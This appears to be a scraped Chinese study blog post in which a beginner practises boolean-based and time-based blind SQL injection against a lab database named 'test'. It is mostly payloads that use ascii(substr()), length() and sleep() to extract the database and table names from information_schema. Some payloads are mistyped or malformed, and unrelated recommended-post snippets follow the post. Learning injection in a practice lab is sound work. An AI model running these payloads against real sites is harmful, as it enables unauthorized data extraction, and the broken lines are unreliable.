大哥带我走渗透ii--时间盲注,布尔盲注
5/27
基于布尔的盲注
- 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
- 返回的true或者false
- 构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
- 后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
- 接下来看看是否报
在这里我多加了一个‘ ,说明前面是一个完整的一对单引号;
4. 开始测试
- 第一步我们测试长度
构造语句:
...... and lenth((select database()))>5 #查询当前数据库字段的长度
.......错误,说明太长了。
大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1
5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;
ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
这里,大于100成立,测试得出取115
SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115
6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115 # 116 t
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100 # e
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114 # s
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115 # t
6.所以该数据库的名字为test,接下来我们判断数据库中有多少表
length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5
#
组长这里写的长度为4,但是我觉得应该是5;
7.构造爆表语句:
表一:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96
表二:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96
username password
5/27 mysql注入 基于时间的盲注
1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。
https://www.cnblogs.com/-zhong/p/10931563.html
2.and1=1 and1=2 都是一样的界面
https://blog.csdn.net/DarkHQ/article/details/79274376
3.检测语句:利用sleep()函数进行延时注入
and if(ascii(substr((select database()),1,1))>10000,1,sleep(5)) #返回是错误就延时5秒,if(a,b,c),如果条件b
4.开始猜长度,构造语句:
if(length((select database()))>3,1,sleep(5))
所以字段有4位,
5.接下来就开始爆表名。
构造语句:
- if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)
这个就很不一样了,,睡代表真===
所以得到第一个字母:116 t
最后得出:test
6.开始构造第一个字母。
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))
后面是,爆完字段爆表名,报完表名爆表里面的单个字名,
===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html
大哥带我走渗透ii--时间盲注,布尔盲注的更多相关文章
- 划水日记之大哥带我走渗透I
5/24/19 周五 access注入 先测试是否有漏洞 or nor and 1=1 and 1=2 2. Order by 猜字表端,发现一共有22个 3..然后使用 union select 1 ...
- 大哥带我走渗透8--CSRF的应用
1.大哥给了一个CSRF实战视频,真的很简单,但是我今天晚上有点不在状态,很多简单的问题也没有想.所以做了一个多小时.这件事给我的启发就是,无论发生什么事,都不要影响自己的学习.先写点废话,真的真的, ...
- 大哥带我走渗透4(中)----oracle报错注入
5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cn ...
- 大哥带的Orchel数据库时间盲注
0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...
- 老鼠走迷宫II
转自:http://blog.csdn.net/holymaple/article/details/8636234 由于迷宫的设计,老鼠走迷宫的入口至出口路径可能不止一条,如何求出所有的路径呢? 解法 ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
随机推荐
- 初学Java 九九乘法表
public class MultiplicationTable { public static void main(String[] args) { System.out.println(" ...
- runltp出现问题 [
runltp 623行: if [ "$?" == "0" ]; then 对[解析出了问题. 我灵机一动,是不是sh的问题. which sh /bin/sh ...
- 消费者与生产者---LinkedList方式模拟
采用LinkedList数据结构方式来模拟消费者与生产者模型,小Demo import java.util.LinkedList; public class MyQueue { private fin ...
- 同步mysql
ElasticSearch同步MySql 标签: elasticsearchmysql 2016-07-01 09:07 4636人阅读 评论(8) 收藏 举报 分类: Elasticsearch( ...
- mongodb Access control is not enabled for the database 无访问控制解决方案
转载:https://blog.csdn.net/q1056843325/article/details/70941697 今天使用MongoDB时遇到了一些问题 建立数据库连接时出现了warning ...
- BZOJ3331 BZOJ2013 压力
考前挣扎 圆方树这么早就出现了嘛... 要求每个点必须被经过的次数 所以就是路径上的割点/端点++ 由于圆方树上所有非叶子圆点都是割点 所以就是树上差分就可以辣. 实现的时候出了一点小问题. 就是这里 ...
- python的strip和split函数
这两个函数都是string的类函数 1.strip是去掉字符串头尾的特定字符,分三个 aa=' bb=aa.rstrip(') cc=aa.lstrip(') dd=aa.strip(') print ...
- @PostMapping
@PostMapping映射一个POST请求 Spring MVC新特性 提供了对Restful风格的支持 @GetMapping,处理get请求 @PostMapping,处理post请求 @Put ...
- 02 spring security 自定义用户认证流程
1. 自定义登录页面 (1)首先在static目录下面创建login.html 注意: springboot项目默认可以访问resources/resources, resources/s ...
- 详解如何定义SQL Server外关键字约束
SQL Server外关键字约束定义了表之间的关系.当一个表中的一个列或多个列的组合和其它表中的主关键字定义相同时,就可以将这些列或列的组合定义为外关键字,并设定它适合哪个表中哪些列相关联.这样,当在 ...